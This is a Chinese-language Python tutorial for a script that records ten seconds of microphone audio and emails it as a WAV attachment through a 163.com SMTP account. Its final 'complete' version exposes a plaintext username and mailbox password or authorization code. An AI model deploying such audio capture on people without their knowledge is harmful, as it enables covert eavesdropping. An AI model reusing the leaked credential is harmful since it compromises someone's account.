1、设置邮箱
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
# from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
# from PIL import ImageGrab
from io import BytesIO
import time
import os
import pyaudio
import wave
#设置服务器所需信息
#163邮箱服务器地址
mail_host = 'smtp.163.com'
#163用户名
mail_user = '****'
#密码(部分邮箱为授权码)
mail_pass = '******'
#邮件发送方邮箱地址
sender = '*****@163.com'
#邮件接受方邮箱地址,注意需要[]包裹,这意味着你可以写多个邮件地址群发
# receivers = ['*****@163.com']
receivers = ['******@qq.com']
2、读取麦,并存入io缓存
def record_audio(img_byte,record_second):
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 16000
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)
wf = wave.open(img_byte, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
print("* recording")
for i in range(0, int(RATE / CHUNK * record_second)):
data = stream.read(CHUNK)
wf.writeframes(data)
print("* done recording")
stream.stop_stream()
stream.close()
p.terminate()
wf.close()
return img_byte
3、发送邮件
def mysend():
message = MIMEMultipart()
#发送方信息
message['From'] = sender
#接受方信息
message['To'] = receivers[0]
#邮件主题
message['Subject'] = time.strftime("%d/%m/%Y-%H:%M:%S")
img_byte = BytesIO()
img_byte=record_audio(img_byte,record_second=10)
myaudio=MIMEAudio(img_byte.getvalue())
myaudio['Content-Type'] = 'application/octet-stream'
myaudio['Content-Disposition'] = 'attachment;filename="%s.wav"'%time.strftime("%d/%m/%Y-%H:%M:%S")
message.attach(myaudio)
print(time.strftime("%d/%m/%Y-%H:%M:%S"))
#登录并发送邮件
try:
smtpObj = smtplib.SMTP()
#连接到服务器
smtpObj.connect(mail_host,25)
#登录到服务器
smtpObj.login(mail_user,mail_pass)
#发送
smtpObj.sendmail(
sender,receivers,message.as_string())
#退出
smtpObj.quit()
print('send success')
except smtplib.SMTPException as e:
print('error',e) #打印错误`
4、完整流程
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
# from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
# from PIL import ImageGrab
from io import BytesIO
import time
import os
import pyaudio
import wave
#设置服务器所需信息
#163邮箱服务器地址
mail_host = 'smtp.163.com'
#163用户名
mail_user = 'bzwy132'
#密码(部分邮箱为授权码)
mail_pass = 'IYZTTTFODQTMJKCI'
#邮件发送方邮箱地址
sender = 'bzwy132@163.com'
#邮件接受方邮箱地址,注意需要[]包裹,这意味着你可以写多个邮件地址群发
receivers = ['bzwy132@163.com']
# receivers = ['1163038589@qq.com']
def record_audio(img_byte,record_second):
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 16000
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)
wf = wave.open(img_byte, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
print("* recording")
for i in range(0, int(RATE / CHUNK * record_second)):
data = stream.read(CHUNK)
wf.writeframes(data)
print("* done recording")
stream.stop_stream()
stream.close()
p.terminate()
wf.close()
return img_byte
def mysend():
message = MIMEMultipart()
#发送方信息
message['From'] = sender
#接受方信息
message['To'] = receivers[0]
#邮件主题
message['Subject'] = time.strftime("%d/%m/%Y-%H:%M:%S")
img_byte = BytesIO()
img_byte=record_audio(img_byte,record_second=10)
myaudio=MIMEAudio(img_byte.getvalue())
myaudio['Content-Type'] = 'application/octet-stream'
myaudio['Content-Disposition'] = 'attachment;filename="%s.wav"'%time.strftime("%d/%m/%Y-%H:%M:%S")
message.attach(myaudio)
print(time.strftime("%d/%m/%Y-%H:%M:%S"))
#登录并发送邮件
try:
smtpObj = smtplib.SMTP()
#连接到服务器
smtpObj.connect(mail_host,25)
#登录到服务器
smtpObj.login(mail_user,mail_pass)
#发送
smtpObj.sendmail(
sender,receivers,message.as_string())
#退出
smtpObj.quit()
print('send success')
except smtplib.SMTPException as e:
print('error',e) #打印错误`
def cspath():
print(os.getcwd(),'F:\\sh\\csspy'==os.getcwd())
if __name__=="__main__":
# cspath()
mysend()